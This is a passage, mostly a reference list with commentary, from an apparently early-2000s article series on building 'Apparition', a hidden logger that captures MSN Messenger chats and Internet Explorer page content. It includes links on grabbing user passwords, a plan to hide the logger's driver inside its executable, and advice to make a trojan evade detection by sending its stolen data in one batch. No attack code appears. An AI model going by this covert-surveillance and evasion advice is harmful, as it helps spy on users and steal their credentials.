   Go there to dl a tool called "procexp.exe" to list all process in the fly. It is the site of the two authors of the cool book "Inside Microsoft Windows 2000", by David A. Solomon and Mark Russinovich, ISBN 0-7356-1021-5, MS Press, 2000, @#

   Note: if your machine is slow or CPU busy, do not try to monitor MSN Messenger for it just makes your CPU busier to deadlock for a while. We need this tool to scan existing process later when talking detection of logger.

16. http://www.dependencywalker.com/

   Latest version of our old friend dependency.exe, it has been around this world from 1996. We will check the dependency of MSN Mesenger later in this serials.

17. http://www.users.on.net/johnson/resourcehacker/ Resource Hacker

   I have been using this tool for quite a few years after finding I am tired to coding all resource type handler myself. This tool will dump the rc file and the attached, say, bitmap resource to disk. The first time I used "procexp.exe" from www.sysinternals.com I was so curious why it is an exe only, with resource hacker, I found its driver sys file is embedded inside the exe. We will use same way to bundle our logger later.

18. ATL Internals, by Brent Rector, Chris Sells and Jim Springfield, ISBN: 0201695898, Addison-Wesley Pub Co, 1999

    You never need a second book explaining CComBSTR and CComVariant besides this one. Best book on ATL programming, several months ago there was rumor on web the 2nd Edition on way, but my bookstore guy told me they can not find it on printing line yet!

19.  how to get current user password, (http://nfans.net/article/manu/26.html)

     Cool++, just as the name, by shotgun, you can read the code directly regardless its Chinese title.

20. http://www.geocities.co.jp/SiliconValley-PaloAlto/5333/index.htm (Japanese Only)

     A Japanese guy's system coding sample page.

21. http://www.codebase.nl/index.php/command/viewcode/id/127
     Shows how to insert menu item into the MSN Messenger, should be ok in MSN Messenger 6.0. The author's language is not English apparently, but luck to us, the code is in English, so have a look at it 

22. Tools to peek the PE file

     YAHU, or Yet Another Header Utility (http://msdn.microsoft.com/archive/default.asp?url=/archive/en-us/dnarwbgen/html/msdn_exeform.asp), by Ruediger R. Asche, 1995

     All source code available

      or

      PEViewer (http://www.magma.ca/~wjr) tool that even recommended by the author of "Undocument Windows2000"

23. http://www.codeguru.com/ieprogram/enumIE.html

     Get all running IE instance, note: the accompanied code has bug: remember to release all BSTR type data after using them.

24. C++ Q/A June 2001 MSDN Magazine (http://msdn.microsoft.com/msdnmag/issues/01/06/c/default.aspx)

     Discuss how to get IWebBrowser2 interface from IHTMLDocument2 interface

25. MSDN Kb Q249232 HOWTO: Get IHTMLDocument2 from a HWND get a fully marshaled IHTMLDocument2 pointer

26. Automated IE SaveAs MHTML (http://www.codeproject.com/shell/iesaveas.asp), Stephane Rodriguez, 2002 Sept

     Very Creative way to save html file (including everything on the page, not only the dry html text) using hooking to hide "Save As" dialog. I gave it 5 points there.

   

Related List:

1. International Programming for Microsoft Windows, by  David A. Schmitt, ISBN 1-57231-956-9, MS Press, 2000, @#

    Read this when just as its name, it is ridiculous that I found it is the best book I've seen for console programming in Win32!!!

2. Winsock 2.0, by Lewis Napper, ASIN: 0764580493, Hungry Minds, Inc; 1997

    Though seems old, I still recommend this book for its readability. The edition I read is in Japanese translated by Mr. Emura, CEO of www.emurasoft.com.

3. Network Programming for Microsoft Windows, by Anthony Jones and Jim
Ohlund, ISBN 0-7356-0560-2, MS Press, 1999, @#

    Covers network programming like pipe and NetBios besides socket. Though comprehensive, the code sample is more instructional than ready-to-go. Besides, all C code is in console and all GUI code in VB! We need network knowledge later.

4. Windows 95 System Programming SECRETS, by MATT PIETREK, IDG Books Worldwide, Inc, 1996, #

    Also an very old classic book, read the last chapter on API hooking

5. http://www.cybercrime.gov

    Before you want to make something out, read the cases!!!

6. http://www.msnhelper.com/en/default.asp

    A tool that could log MSN Messenger5.0- chat in the fly, when using with MSN Messenger6.0 it has to wait for the chat over to read the flushed xml chat file.

7. http://www.blackhat.com/presentations/bh-asia-02/Sensepost/bh-asia-02-sensepost.pdf  2002 Aug

    You can also see here: http://www.pcworld.com/news/article/0,aid,103620,00.asp as a news report. What I do not understand is why these guys launched it in another desktop. If it were me, I will handle all in an IE launched by a human user and make lighting communication (send all stored data at once). It is funny to me that a trojan need a hot connection to let the hacker real-time control the machine. This just gives the hacker a rope to hang himself, because, the hot connection is the Achilles' heel of the trojan. A tool like FPort will probably (just my thought) will relate the port 80 to that IExplorer and the user realize it is none-existing IE instance, thus something will happen ...

8. http://www.codeguru.com/ieprogram/SPwdSpy.html

      One of my previous article, a freeware with all code to read IE page's password area

9. http://www.codeguru.com/misc/MessagerSpy.html

      One of my previous article, a freeware catching MSN Messenger chat contents in the fly.

10. Misc WebSite you will find cool system programming code:

 http://www.ellenzp.com/article/index.aspx(cool++ tech articles, freeware, etc, Simplified Chinese Only)

 http://www.securityfriday.com/ (remote control IE by DCOM, hi, no source code here)

 http://securityresponse.symantec.com/avcenter/venc/data/backdoor.hackdefender.html (a logger worm description)

 http://www.yesky.com/ (news, tech article, etc, Simplified Chinese Only)

 http://www.xfocus.net (cool++ tech articles, freeware, etc, Simplified Chinese Only)

 http://nfans.net/ (cool++ tech articles, freeware, etc, Simplified Chinese Only)

 http://www.sometips.com/ (cool++ tech articles, freeware, etc, Simplified Chinese Only)

 http://person.okey.net/~webcrazy/index.htm (cool++ tech articles, freeware, etc; especially in WinNT kernel, Simplified Chinese Only)

 

 

 

Something Instant for the impatient:

  There is a small demo type dialog after you pushing the "e" button on the toolbar. A list shows current IE instance's handle, process ID, process main module name and path. You can dump their URL, title and html to the edit box of the main dialog. So those of you who like copy-and-paste code can do it again in one second again. Period.

 

Fig 3.10 An IE running to be intercepted by "Apparition"

Fig 3.11 "Apparition" dumped that IE's html in runtime

 This article is already long enough, but I still have to remind you. Do not use this way if you just want your GUI program interacting with IE, use BHO or check the article http://www.codeguru.com/ieprogram/enumIE.html(fix the memory leak bug by calling SysFreeString). My way is suitable for backend program only, so coding is much much longer than these 2 ways!

 

Coming Soon:

  More fight between logging and detection...

 

Downloads

Download Apparition Demo Project Source (including exe, 1.09M )
Download Apparition Demo Exe File Only (exe/dll Only, MFC4.2 DLL STATIC linked, 205K )

Download HtmlPeek Demo Source and Exe (code and exe, 209k, MFC42 static link)

Date Posted: ---

 

Add Comment